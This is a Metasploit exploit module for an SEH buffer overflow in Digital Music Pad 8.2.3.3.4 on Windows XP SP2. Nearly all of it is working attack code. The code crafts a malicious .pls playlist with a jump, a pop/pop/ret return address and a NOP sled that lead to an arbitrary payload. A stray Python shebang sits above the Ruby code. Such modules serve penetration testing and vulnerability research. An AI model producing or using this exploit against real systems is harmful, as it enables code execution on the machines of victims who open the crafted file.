#Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module #Author Abhishek Lyall - abhilyall[at]gmail[dot]com, info[at]aslitsecurity[dot]com #Web - http://www.aslitsecurity.com/ #Blog - http://www.aslitsecurity.blogspot.com/ #Download Vulnerable application from http://www.e-soft.co.uk/DigitalMusicPad82334Setup.exe #Vulnerable versionDigital Music Pad Version 8.2.3.3.4 #Tested on XP SP2 #Greets Corelan Team, Puneet Jain ASL IT SECURITY TEAM #!/usr/bin/python require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Digital Music Pad Version 8.2.3.3.4 SEH overflow', 'Description' => %q{ This module exploits a buffer overflow in Digital Music Pad Version 8.2.3.3.4 When opening a malicious pls file with the Digital Music Pad, a remote attacker could overflow a buffer and execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => 'Abhishek Lyall', 'References' => [ [ 'OSVDB', '' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 4720, 'BadChars' => "\x00\x20\x0a\x0d", 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2', { 'Ret' => 0x73421DEF} ], # p/p/r msvbvm60.dll ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls']), ], self.class) end def exploit sploit = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D" #PLS Header sploit << rand_text_alphanumeric(260) sploit << "\xeb\x06\x90\x90" # short jump 6 bytes sploit << [target.ret].pack('V') sploit << "\x90" * 12 # nop sled sploit << payload.encoded sploit << "\x90" * (4720 - payload.encoded.length) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end